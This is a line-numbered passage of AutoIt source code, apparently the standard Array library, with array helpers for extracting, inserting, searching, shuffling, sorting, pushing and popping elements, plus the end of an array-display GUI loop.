  1398. WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, (@DesktopHeight - $iheight) / 2, $iwidth, $iheight)
  1399. GUISetState(@SW_SHOW, $hgui)
  1400. Local $ioneventmode = Opt("GUIOnEventMode", 0), $imsg
  1401. While 1
  1402. $imsg = GUIGetMsg()
  1403. Switch $imsg
  1404. Case $_arrayconstant_gui_event_close
  1405. ExitLoop
  1406. Case $idcopy_id, $idcopy_data
  1407. Local $isel_count = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getselectedcount, 0, 0)
  1408. If $iverbose AND (NOT $isel_count) AND ($iitem_end - $iitem_start) * ($isubitem_end - $isubitem_start) > 10000 Then
  1409. SplashTextOn("ArrayDisplay", "Copying data" & @CRLF & @CRLF & "Please be patient", 300, 100)
  1410. EndIf
  1411. Local $sclip = "", $sitem, $asplit
  1412. For $i = 0 To $iitem_end - $iitem_start
  1413. If $isel_count AND NOT (GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected)) Then
  1414. ContinueLoop
  1415. EndIf
  1416. $sitem = $avarraytext[$i]
  1417. If $imsg = $idcopy_data Then
  1418. $sitem = StringRegExpReplace($sitem, "^\[\d+\].(.*)$", "$1")
  1419. EndIf
  1420. If $icw_colwidth Then
  1421. $asplit = StringSplit($sitem, $sad_separator)
  1422. $sitem = ""
  1423. For $j = 1 To $asplit[0]
  1424. $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth))
  1425. Next
  1426. Else
  1427. $sitem = StringReplace($sitem, $sad_separator, $vuser_separator)
  1428. EndIf
  1429. $sclip &= $sitem & @CRLF
  1430. Next
  1431. If $imsg = $idcopy_id Then
  1432. If $icw_colwidth Then
  1433. $asplit = StringSplit($sheader, $sad_separator)
  1434. $sitem = ""
  1435. For $j = 1 To $asplit[0]
  1436. $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth))
  1437. Next
  1438. Else
  1439. $sitem = StringReplace($sheader, $sad_separator, $vuser_separator)
  1440. EndIf
  1441. $sclip = $sitem & @CRLF & $sclip
  1442. EndIf
  1443. ClipPut($sclip)
  1444. SplashOff()
  1445. GUICtrlSetState($idlistview, $_arrayconstant_gui_focus)
  1446. Case $iduser_func
  1447. Local $aiselitems[$irowlimit] = [0]
  1448. For $i = 0 To GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
  1449. If GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected) Then
  1450. $aiselitems[0] += 1
  1451. $aiselitems[$aiselitems[0]] = $i + $iitem_start
  1452. EndIf
  1453. Next
  1454. ReDim $aiselitems[$aiselitems[0] + 1]
  1455. $huser_func($avarray, $aiselitems)
  1456. GUICtrlSetState($idlistview, $_arrayconstant_gui_focus)
  1457. Case $idexit_script
  1458. GUIDelete($hgui)
  1459. Exit
  1460. EndSwitch
  1461. WEnd
  1462. GUIDelete($hgui)
  1463. Opt("GUIOnEventMode", $ioneventmode)
  1464. Opt("GUIDataSeparatorChar", $scurr_separator)
  1465. Return 1
  1466. EndFunc
  1467.  
  1468. Func _arrayextract(Const ByRef $avarray, $istart_row = 0, $iend_row = 0, $istart_col = 0, $iend_col = 0)
  1469. If $istart_row = Default Then $istart_row = 0
  1470. If $iend_row = Default Then $iend_row = 0
  1471. If $istart_col = Default Then $istart_col = 0
  1472. If $iend_col = Default Then $iend_col = 0
  1473. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1474. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  1475. If $iend_row = 0 Then $iend_row = $idim_1
  1476. If $istart_row < 0 OR $iend_row < 0 Then Return SetError(3, 0, -1)
  1477. If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, -1)
  1478. If $istart_row > $iend_row Then Return SetError(4, 0, -1)
  1479. Switch UBound($avarray, $ubound_dimensions)
  1480. Case 1
  1481. Local $aretarray[$iend_row - $istart_row + 1]
  1482. For $i = 0 To $iend_row - $istart_row
  1483. $aretarray[$i] = $avarray[$i + $istart_row]
  1484. Next
  1485. Return $aretarray
  1486. Case 2
  1487. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  1488. If $iend_col = 0 Then $iend_col = $idim_2
  1489. If $istart_col < 0 OR $iend_col < 0 Then Return SetError(5, 0, -1)
  1490. If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1)
  1491. If $istart_col > $iend_col Then Return SetError(6, 0, -1)
  1492. If $istart_col = $iend_col Then
  1493. Local $aretarray[$iend_row - $istart_row + 1]
  1494. Else
  1495. Local $aretarray[$iend_row - $istart_row + 1][$iend_col - $istart_col + 1]
  1496. EndIf
  1497. For $i = 0 To $iend_row - $istart_row
  1498. For $j = 0 To $iend_col - $istart_col
  1499. If $istart_col = $iend_col Then
  1500. $aretarray[$i] = $avarray[$i + $istart_row][$j + $istart_col]
  1501. Else
  1502. $aretarray[$i][$j] = $avarray[$i + $istart_row][$j + $istart_col]
  1503. EndIf
  1504. Next
  1505. Next
  1506. Return $aretarray
  1507. Case Else
  1508. Return SetError(2, 0, -1)
  1509. EndSwitch
  1510. Return 1
  1511. EndFunc
  1512.  
  1513. Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0, $brow = False)
  1514. If $istart = Default Then $istart = 0
  1515. If $iend = Default Then $iend = 0
  1516. If $icase = Default Then $icase = 0
  1517. If $icompare = Default Then $icompare = 0
  1518. If $isubitem = Default Then $isubitem = 0
  1519. If $brow = Default Then $brow = False
  1520. $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem, $brow)
  1521. If @error Then Return SetError(@error, 0, -1)
  1522. Local $iindex = 0, $avresult[UBound($avarray)]
  1523. Do
  1524. $avresult[$iindex] = $istart
  1525. $iindex += 1
  1526. $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem, $brow)
  1527. Until @error
  1528. ReDim $avresult[$iindex]
  1529. Return $avresult
  1530. EndFunc
  1531.  
  1532. Func _arrayinsert(ByRef $avarray, $vrange, $vvalue = "", $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $hdatatype = 0)
  1533. If $vvalue = Default Then $vvalue = ""
  1534. If $istart = Default Then $istart = 0
  1535. If $sdelim_item = Default Then $sdelim_item = "|"
  1536. If $sdelim_row = Default Then $sdelim_row = @CRLF
  1537. If $hdatatype = Default Then $hdatatype = 0
  1538. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1539. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  1540. Local $asplit_1, $asplit_2
  1541. If IsArray($vrange) Then
  1542. If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1)
  1543. Else
  1544. Local $inumber
  1545. $vrange = StringStripWS($vrange, 8)
  1546. $asplit_1 = StringSplit($vrange, ";")
  1547. $vrange = ""
  1548. For $i = 1 To $asplit_1[0]
  1549. If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
  1550. $asplit_2 = StringSplit($asplit_1[$i], "-")
  1551. Switch $asplit_2[0]
  1552. Case 1
  1553. $vrange &= $asplit_2[1] & ";"
  1554. Case 2
  1555. If Number($asplit_2[2]) >= Number($asplit_2[1]) Then
  1556. $inumber = $asplit_2[1] - 1
  1557. Do
  1558. $inumber += 1
  1559. $vrange &= $inumber & ";"
  1560. Until $inumber = $asplit_2[2]
  1561. EndIf
  1562. EndSwitch
  1563. Next
  1564. $vrange = StringSplit(StringTrimRight($vrange, 1), ";")
  1565. EndIf
  1566. If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1)
  1567. For $i = 2 To $vrange[0]
  1568. If $vrange[$i] < $vrange[$i - 1] Then Return SetError(3, 0, -1)
  1569. Next
  1570. Local $icopyto_index = $idim_1 + $vrange[0]
  1571. Local $iinsertpoint_index = $vrange[0]
  1572. Local $iinsert_index = $vrange[$iinsertpoint_index]
  1573. Switch UBound($avarray, $ubound_dimensions)
  1574. Case 1
  1575. ReDim $avarray[$idim_1 + $vrange[0] + 1]
  1576. If IsArray($vvalue) Then
  1577. If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1)
  1578. $hdatatype = 0
  1579. Else
  1580. Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit)
  1581. If UBound($atmp, $ubound_rows) = 1 Then
  1582. $atmp[0] = $vvalue
  1583. $hdatatype = 0
  1584. EndIf
  1585. $vvalue = $atmp
  1586. EndIf
  1587. For $ireadfromindex = $idim_1 To 0 Step -1
  1588. $avarray[$icopyto_index] = $avarray[$ireadfromindex]
  1589. $icopyto_index -= 1
  1590. $iinsert_index = $vrange[$iinsertpoint_index]
  1591. While $ireadfromindex = $iinsert_index
  1592. If $iinsertpoint_index <= UBound($vvalue, $ubound_rows) Then
  1593. If IsFunc($hdatatype) Then
  1594. $avarray[$icopyto_index] = $hdatatype($vvalue[$iinsertpoint_index - 1])
  1595. Else
  1596. $avarray[$icopyto_index] = $vvalue[$iinsertpoint_index - 1]
  1597. EndIf
  1598. Else
  1599. $avarray[$icopyto_index] = ""
  1600. EndIf
  1601. $icopyto_index -= 1
  1602. $iinsertpoint_index -= 1
  1603. If $iinsertpoint_index = 0 Then ExitLoop 2
  1604. $iinsert_index = $vrange[$iinsertpoint_index]
  1605. WEnd
  1606. Next
  1607. Case 2
  1608. Local $idim_2 = UBound($avarray, $ubound_columns)
  1609. If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(6, 0, -1)
  1610. Local $ivaldim_1, $ivaldim_2
  1611. If IsArray($vvalue) Then
  1612. If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(7, 0, -1)
  1613. $ivaldim_1 = UBound($vvalue, $ubound_rows)
  1614. $ivaldim_2 = UBound($vvalue, $ubound_columns)
  1615. $hdatatype = 0
  1616. Else
  1617. $asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit)
  1618. $ivaldim_1 = UBound($asplit_1, $ubound_rows)
  1619. StringReplace($asplit_1[0], $sdelim_item, "")
  1620. $ivaldim_2 = @extended + 1
  1621. Local $atmp[$ivaldim_1][$ivaldim_2]
  1622. For $i = 0 To $ivaldim_1 - 1
  1623. $asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit)
  1624. For $j = 0 To $ivaldim_2 - 1
  1625. $atmp[$i][$j] = $asplit_2[$j]
  1626. Next
  1627. Next
  1628. $vvalue = $atmp
  1629. EndIf
  1630. If UBound($vvalue, $ubound_columns) + $istart > UBound($avarray, $ubound_columns) Then Return SetError(8, 0, -1)
  1631. ReDim $avarray[$idim_1 + $vrange[0] + 1][$idim_2]
  1632. For $ireadfromindex = $idim_1 To 0 Step -1
  1633. For $j = 0 To $idim_2 - 1
  1634. $avarray[$icopyto_index][$j] = $avarray[$ireadfromindex][$j]
  1635. Next
  1636. $icopyto_index -= 1
  1637. $iinsert_index = $vrange[$iinsertpoint_index]
  1638. While $ireadfromindex = $iinsert_index
  1639. For $j = 0 To $idim_2 - 1
  1640. If $j < $istart Then
  1641. $avarray[$icopyto_index][$j] = ""
  1642. ElseIf $j - $istart > $ivaldim_2 - 1 Then
  1643. $avarray[$icopyto_index][$j] = ""
  1644. Else
  1645. If $iinsertpoint_index - 1 < $ivaldim_1 Then
  1646. If IsFunc($hdatatype) Then
  1647. $avarray[$icopyto_index][$j] = $hdatatype($vvalue[$iinsertpoint_index - 1][$j - $istart])
  1648. Else
  1649. $avarray[$icopyto_index][$j] = $vvalue[$iinsertpoint_index - 1][$j - $istart]
  1650. EndIf
  1651. Else
  1652. $avarray[$icopyto_index][$j] = ""
  1653. EndIf
  1654. EndIf
  1655. Next
  1656. $icopyto_index -= 1
  1657. $iinsertpoint_index -= 1
  1658. If $iinsertpoint_index = 0 Then ExitLoop 2
  1659. $iinsert_index = $vrange[$iinsertpoint_index]
  1660. WEnd
  1661. Next
  1662. Case Else
  1663. Return SetError(2, 0, -1)
  1664. EndSwitch
  1665. Return UBound($avarray, $ubound_rows)
  1666. EndFunc
  1667.  
  1668. Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
  1669. If $icompnumeric = Default Then $icompnumeric = 0
  1670. If $istart = Default Then $istart = 0
  1671. If $iend = Default Then $iend = 0
  1672. If $isubitem = Default Then $isubitem = 0
  1673. Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend, $isubitem)
  1674. If @error Then Return SetError(@error, 0, "")
  1675. If UBound($avarray, $ubound_dimensions) = 1 Then
  1676. Return $avarray[$iresult]
  1677. Else
  1678. Return $avarray[$iresult][$isubitem]
  1679. EndIf
  1680. EndFunc
  1681.  
  1682. Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
  1683. If $icompnumeric = Default Then $icompnumeric = 0
  1684. If $icompnumeric <> 1 Then $icompnumeric = 0
  1685. If $istart = Default Then $istart = 0
  1686. If $iend = Default Then $iend = 0
  1687. If $isubitem = Default Then $isubitem = 0
  1688. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1689. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  1690. If $iend = 0 Then $iend = $idim_1
  1691. If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
  1692. If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
  1693. If $istart > $iend Then Return SetError(4, 0, -1)
  1694. If $idim_1 < 1 Then Return SetError(5, 0, -1)
  1695. Local $imaxindex = $istart
  1696. Switch UBound($avarray, $ubound_dimensions)
  1697. Case 1
  1698. If $icompnumeric Then
  1699. For $i = $istart To $iend
  1700. If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
  1701. Next
  1702. Else
  1703. For $i = $istart To $iend
  1704. If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
  1705. Next
  1706. EndIf
  1707. Case 2
  1708. If $isubitem < 0 OR $isubitem > UBound($avarray, $ubound_columns) - 1 Then Return SetError(6, 0, -1)
  1709. If $icompnumeric Then
  1710. For $i = $istart To $iend
  1711. If Number($avarray[$imaxindex][$isubitem]) < Number($avarray[$i][$isubitem]) Then $imaxindex = $i
  1712. Next
  1713. Else
  1714. For $i = $istart To $iend
  1715. If $avarray[$imaxindex][$isubitem] < $avarray[$i][$isubitem] Then $imaxindex = $i
  1716. Next
  1717. EndIf
  1718. Case Else
  1719. Return SetError(2, 0, -1)
  1720. EndSwitch
  1721. Return $imaxindex
  1722. EndFunc
  1723.  
  1724. Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
  1725. If $icompnumeric = Default Then $icompnumeric = 0
  1726. If $istart = Default Then $istart = 0
  1727. If $iend = Default Then $iend = 0
  1728. If $isubitem = Default Then $isubitem = 0
  1729. Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend, $isubitem)
  1730. If @error Then Return SetError(@error, 0, "")
  1731. If UBound($avarray, $ubound_dimensions) = 1 Then
  1732. Return $avarray[$iresult]
  1733. Else
  1734. Return $avarray[$iresult][$isubitem]
  1735. EndIf
  1736. EndFunc
  1737.  
  1738. Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0, $isubitem = 0)
  1739. If $icompnumeric = Default Then $icompnumeric = 0
  1740. If $istart = Default Then $istart = 0
  1741. If $iend = Default Then $iend = 0
  1742. If $isubitem = Default Then $isubitem = 0
  1743. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1744. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  1745. If $iend = 0 Then $iend = $idim_1
  1746. If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
  1747. If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
  1748. If $istart > $iend Then Return SetError(4, 0, -1)
  1749. If $idim_1 < 1 Then Return SetError(5, 0, -1)
  1750. Local $iminindex = $istart
  1751. Switch UBound($avarray, $ubound_dimensions)
  1752. Case 1
  1753. If $icompnumeric Then
  1754. For $i = $istart To $iend
  1755. If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
  1756. Next
  1757. Else
  1758. For $i = $istart To $iend
  1759. If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
  1760. Next
  1761. EndIf
  1762. Case 2
  1763. If $isubitem < 0 OR $isubitem > UBound($avarray, $ubound_columns) - 1 Then Return SetError(6, 0, -1)
  1764. If $icompnumeric Then
  1765. For $i = $istart To $iend
  1766. If Number($avarray[$iminindex][$isubitem]) > Number($avarray[$i][$isubitem]) Then $iminindex = $i
  1767. Next
  1768. Else
  1769. For $i = $istart To $iend
  1770. If $avarray[$iminindex][$isubitem] > $avarray[$i][$isubitem] Then $iminindex = $i
  1771. Next
  1772. EndIf
  1773. Case Else
  1774. Return SetError(2, 0, -1)
  1775. EndSwitch
  1776. Return $iminindex
  1777. EndFunc
  1778.  
  1779. Func _arraypermute(ByRef $avarray, $sdelim = "")
  1780. If $sdelim = Default Then $sdelim = ""
  1781. If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  1782. If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0)
  1783. Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
  1784. If UBound($avarray) Then
  1785. For $i = 0 To $isize - 1
  1786. $aidx[$i] = $i
  1787. Next
  1788. For $i = $isize To 1 Step -1
  1789. $ifactorial *= $i
  1790. Next
  1791. ReDim $aresult[$ifactorial + 1]
  1792. $aresult[0] = $ifactorial
  1793. __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
  1794. Else
  1795. $aresult[0] = 0
  1796. EndIf
  1797. Return $aresult
  1798. EndFunc
  1799.  
  1800. Func _arraypop(ByRef $avarray)
  1801. If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
  1802. If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, "")
  1803. Local $iubound = UBound($avarray) - 1
  1804. If $iubound = -1 Then Return SetError(3, 0, "")
  1805. Local $slastval = $avarray[$iubound]
  1806. If $iubound > -1 Then
  1807. ReDim $avarray[$iubound]
  1808. EndIf
  1809. Return $slastval
  1810. EndFunc
  1811.  
  1812. Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
  1813. If $idirection = Default Then $idirection = 0
  1814. If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
  1815. If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0)
  1816. Local $iubound = UBound($avarray) - 1
  1817. If IsArray($vvalue) Then
  1818. Local $iubounds = UBound($vvalue)
  1819. If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
  1820. If $idirection Then
  1821. For $i = $iubound To $iubounds Step -1
  1822. $avarray[$i] = $avarray[$i - $iubounds]
  1823. Next
  1824. For $i = 0 To $iubounds - 1
  1825. $avarray[$i] = $vvalue[$i]
  1826. Next
  1827. Else
  1828. For $i = 0 To $iubound - $iubounds
  1829. $avarray[$i] = $avarray[$i + $iubounds]
  1830. Next
  1831. For $i = 0 To $iubounds - 1
  1832. $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
  1833. Next
  1834. EndIf
  1835. Else
  1836. If $iubound > -1 Then
  1837. If $idirection Then
  1838. For $i = $iubound To 1 Step -1
  1839. $avarray[$i] = $avarray[$i - 1]
  1840. Next
  1841. $avarray[0] = $vvalue
  1842. Else
  1843. For $i = 0 To $iubound - 1
  1844. $avarray[$i] = $avarray[$i + 1]
  1845. Next
  1846. $avarray[$iubound] = $vvalue
  1847. EndIf
  1848. EndIf
  1849. EndIf
  1850. Return 1
  1851. EndFunc
  1852.  
  1853. Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
  1854. If $istart = Default Then $istart = 0
  1855. If $iend = Default Then $iend = 0
  1856. If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  1857. If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0)
  1858. If NOT UBound($avarray) Then Return SetError(4, 0, 0)
  1859. Local $vtmp, $iubound = UBound($avarray) - 1
  1860. If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  1861. If $istart < 0 Then $istart = 0
  1862. If $istart > $iend Then Return SetError(2, 0, 0)
  1863. For $i = $istart To Int(($istart + $iend - 1) / 2)
  1864. $vtmp = $avarray[$i]
  1865. $avarray[$i] = $avarray[$iend]
  1866. $avarray[$iend] = $vtmp
  1867. $iend -= 1
  1868. Next
  1869. Return 1
  1870. EndFunc
  1871.  
  1872. Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1, $brow = False)
  1873. If $istart = Default Then $istart = 0
  1874. If $iend = Default Then $iend = 0
  1875. If $icase = Default Then $icase = 0
  1876. If $icompare = Default Then $icompare = 0
  1877. If $iforward = Default Then $iforward = 1
  1878. If $isubitem = Default Then $isubitem = -1
  1879. If $brow = Default Then $brow = False
  1880. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1881. Local $idim_1 = UBound($avarray) - 1
  1882. If $idim_1 = -1 Then Return SetError(3, 0, -1)
  1883. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  1884. Local $bcomptype = False
  1885. If $icompare = 2 Then
  1886. $icompare = 0
  1887. $bcomptype = True
  1888. EndIf
  1889. If $brow Then
  1890. If UBound($avarray, $ubound_dimensions) = 1 Then Return SetError(5, 0, -1)
  1891. If $iend < 1 OR $iend > $idim_2 Then $iend = $idim_2
  1892. If $istart < 0 Then $istart = 0
  1893. If $istart > $iend Then Return SetError(4, 0, -1)
  1894. Else
  1895. If $iend < 1 OR $iend > $idim_1 Then $iend = $idim_1
  1896. If $istart < 0 Then $istart = 0
  1897. If $istart > $iend Then Return SetError(4, 0, -1)
  1898. EndIf
  1899. Local $istep = 1
  1900. If NOT $iforward Then
  1901. Local $itmp = $istart
  1902. $istart = $iend
  1903. $iend = $itmp
  1904. $istep = -1
  1905. EndIf
  1906. Switch UBound($avarray, $ubound_dimensions)
  1907. Case 1
  1908. If NOT $icompare Then
  1909. If NOT $icase Then
  1910. For $i = $istart To $iend Step $istep
  1911. If $bcomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  1912. If $avarray[$i] = $vvalue Then Return $i
  1913. Next
  1914. Else
  1915. For $i = $istart To $iend Step $istep
  1916. If $bcomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  1917. If $avarray[$i] == $vvalue Then Return $i
  1918. Next
  1919. EndIf
  1920. Else
  1921. For $i = $istart To $iend Step $istep
  1922. If $icompare = 3 Then
  1923. If StringRegExp($avarray[$i], $vvalue) Then Return $i
  1924. Else
  1925. If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
  1926. EndIf
  1927. Next
  1928. EndIf
  1929. Case 2
  1930. Local $idim_sub
  1931. If $brow Then
  1932. $idim_sub = $idim_1
  1933. If $isubitem > $idim_sub Then $isubitem = $idim_sub
  1934. If $isubitem < 0 Then
  1935. $isubitem = 0
  1936. Else
  1937. $idim_sub = $isubitem
  1938. EndIf
  1939. Else
  1940. $idim_sub = $idim_2
  1941. If $isubitem > $idim_sub Then $isubitem = $idim_sub
  1942. If $isubitem < 0 Then
  1943. $isubitem = 0
  1944. Else
  1945. $idim_sub = $isubitem
  1946. EndIf
  1947. EndIf
  1948. For $j = $isubitem To $idim_sub
  1949. If NOT $icompare Then
  1950. If NOT $icase Then
  1951. For $i = $istart To $iend Step $istep
  1952. If $brow Then
  1953. If $bcomptype AND VarGetType($avarray[$j][$j]) <> VarGetType($vvalue) Then ContinueLoop
  1954. If $avarray[$j][$i] = $vvalue Then Return $i
  1955. Else
  1956. If $bcomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  1957. If $avarray[$i][$j] = $vvalue Then Return $i
  1958. EndIf
  1959. Next
  1960. Else
  1961. For $i = $istart To $iend Step $istep
  1962. If $brow Then
  1963. If $bcomptype AND VarGetType($avarray[$j][$i]) <> VarGetType($vvalue) Then ContinueLoop
  1964. If $avarray[$j][$i] == $vvalue Then Return $i
  1965. Else
  1966. If $bcomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  1967. If $avarray[$i][$j] == $vvalue Then Return $i
  1968. EndIf
  1969. Next
  1970. EndIf
  1971. Else
  1972. For $i = $istart To $iend Step $istep
  1973. If $icompare = 3 Then
  1974. If $brow Then
  1975. If StringRegExp($avarray[$j][$i], $vvalue) Then Return $i
  1976. Else
  1977. If StringRegExp($avarray[$i][$j], $vvalue) Then Return $i
  1978. EndIf
  1979. Else
  1980. If $brow Then
  1981. If StringInStr($avarray[$j][$i], $vvalue, $icase) > 0 Then Return $i
  1982. Else
  1983. If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
  1984. EndIf
  1985. EndIf
  1986. Next
  1987. EndIf
  1988. Next
  1989. Case Else
  1990. Return SetError(2, 0, -1)
  1991. EndSwitch
  1992. Return SetError(6, 0, -1)
  1993. EndFunc
  1994.  
  1995. Func _arrayshuffle(ByRef $avarray, $istart_row = 0, $iend_row = 0, $icol = -1)
  1996. If $istart_row = Default Then $istart_row = 0
  1997. If $iend_row = Default Then $iend_row = 0
  1998. If $icol = Default Then $icol = -1
  1999. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  2000. Local $idim_1 = UBound($avarray, $ubound_rows)
  2001. If $iend_row = 0 Then $iend_row = $idim_1 - 1
  2002. If $istart_row < 0 OR $istart_row > $idim_1 - 1 Then Return SetError(3, 0, -1)
  2003. If $iend_row < 1 OR $iend_row > $idim_1 - 1 Then Return SetError(3, 0, -1)
  2004. If $istart_row > $iend_row Then Return SetError(4, 0, -1)
  2005. Local $vtmp, $irand
  2006. Switch UBound($avarray, $ubound_dimensions)
  2007. Case 1
  2008. For $i = $iend_row To $istart_row + 1 Step -1
  2009. $irand = Random($istart_row, $i, 1)
  2010. $vtmp = $avarray[$i]
  2011. $avarray[$i] = $avarray[$irand]
  2012. $avarray[$irand] = $vtmp
  2013. Next
  2014. Return 1
  2015. Case 2
  2016. Local $idim_2 = UBound($avarray, $ubound_columns)
  2017. If $icol < -1 OR $icol > $idim_2 - 1 Then Return SetError(5, 0, -1)
  2018. Local $icol_start, $icol_end
  2019. If $icol = -1 Then
  2020. $icol_start = 0
  2021. $icol_end = $idim_2 - 1
  2022. Else
  2023. $icol_start = $icol
  2024. $icol_end = $icol
  2025. EndIf
  2026. For $i = $iend_row To $istart_row + 1 Step -1
  2027. $irand = Random($istart_row, $i, 1)
  2028. For $j = $icol_start To $icol_end
  2029. $vtmp = $avarray[$i][$j]
  2030. $avarray[$i][$j] = $avarray[$irand][$j]
  2031. $avarray[$irand][$j] = $vtmp
  2032. Next
  2033. Next
  2034. Return 1
  2035. Case Else
  2036. Return SetError(2, 0, -1)
  2037. EndSwitch
  2038. EndFunc
  2039.  
  2040. Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0, $ipivot = 0)
  2041. If $idescending = Default Then $idescending = 0
  2042. If $istart = Default Then $istart = 0
  2043. If $iend = Default Then $iend = 0
  2044. If $isubitem = Default Then $isubitem = 0
  2045. If $ipivot = Default Then $ipivot = 0
  2046. If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  2047. Local $iubound = UBound($avarray) - 1
  2048. If $iubound = -1 Then Return SetError(5, 0, 0)
  2049. If $iend = Default Then $iend = 0
  2050. If $iend < 1 OR $iend > $iubound OR $iend = Default Then $iend = $iubound
  2051. If $istart < 0 OR $istart = Default Then $istart = 0
  2052. If $istart > $iend Then Return SetError(2, 0, 0)
  2053. If $idescending = Default Then $idescending = 0
  2054. If $ipivot = Default Then $ipivot = 0
  2055. If $isubitem = Default Then $isubitem = 0
  2056. Switch UBound($avarray, $ubound_dimensions)
  2057. Case 1
  2058. If $ipivot Then
  2059. __arraydualpivotsort($avarray, $istart, $iend)
  2060. Else
  2061. __arrayquicksort1d($avarray, $istart, $iend)
  2062. EndIf
  2063. If $idescending Then _arrayreverse($avarray, $istart, $iend)
  2064. Case 2
  2065. If $ipivot Then Return SetError(6, 0, 0)
  2066. Local $isubmax = UBound($avarray, $ubound_columns) - 1
  2067. If $isubitem > $isubmax Then Return SetError(3, 0, 0)
  2068. If $idescending Then
  2069. $idescending = -1
  2070. Else
  2071. $idescending = 1
  2072. EndIf
  2073. __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
  2074. Case Else
  2075. Return SetError(4, 0, 0)
  2076. EndSwitch
  2077. Return 1
  2078. EndFunc
  2079.  
  2080. Func __arrayquicksort1d(ByRef $avarray, Const ByRef $istart, Const ByRef $iend)
  2081. If $iend <= $istart Then Return
  2082. Local $vtmp
  2083. If ($iend - $istart) < 15 Then
  2084. Local $vcur
  2085. For $i = $istart + 1 To $iend
  2086. $vtmp = $avarray[$i]
  2087. If IsNumber($vtmp) Then
  2088. For $j = $i - 1 To $istart Step -1
  2089. $vcur = $avarray[$j]
